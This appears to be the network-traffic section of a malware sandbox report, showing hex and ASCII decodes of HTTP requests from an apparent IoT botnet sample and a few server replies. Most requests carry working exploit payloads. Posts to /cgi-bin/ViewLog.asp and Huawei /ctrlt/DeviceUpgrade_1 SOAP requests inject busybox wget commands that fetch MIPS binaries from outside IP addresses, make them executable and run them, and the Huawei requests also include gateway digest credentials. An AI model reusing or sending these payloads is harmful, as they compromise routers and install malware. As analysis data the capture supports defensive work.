                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                393192.168.2.154277494.46.181.388080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:37.173769951 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:37.377317905 CET1340INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:21:37 GMT
                                                Server: Apache
                                                Accept-Ranges: bytes
                                                Cache-Control: no-cache, no-store, must-revalidate
                                                Pragma: no-cache
                                                Expires: 0
                                                Connection: close
                                                Content-Type: text/html
                                                Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20
                                                Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                394192.168.2.155939094.122.21.2468080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:37.203893900 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                395192.168.2.155010295.86.86.1468080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:37.260814905 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:37.987481117 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                396192.168.2.153710294.187.114.978080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:37.973690987 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                397192.168.2.155394685.113.169.168080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:38.188060045 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:38.402838945 CET328INHTTP/1.0 200 OK
                                                Server: httpd/2.0
                                                x-frame-options: SAMEORIGIN
                                                x-xss-protection: 1; mode=block
                                                Date: Thu, 23 Nov 2023 04:26:03 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 4d 61 69 6e 5f 4c 6f 67 69 6e 2e 61 73 70 27 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 48 45 41 44 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><script>top.location.href='/Main_Login.asp';</script></HEAD></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                398192.168.2.155395085.113.169.168080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:38.616836071 CET388INHTTP/1.0 400 Bad Request
                                                Server: httpd/2.0
                                                x-frame-options: SAMEORIGIN
                                                x-xss-protection: 1; mode=block
                                                Date: Thu, 23 Nov 2023 04:26:03 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                399192.168.2.1541638156.241.86.24737215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:39.816437960 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:41.754307032 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:44.250211954 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:48.858057976 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:58.073853970 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
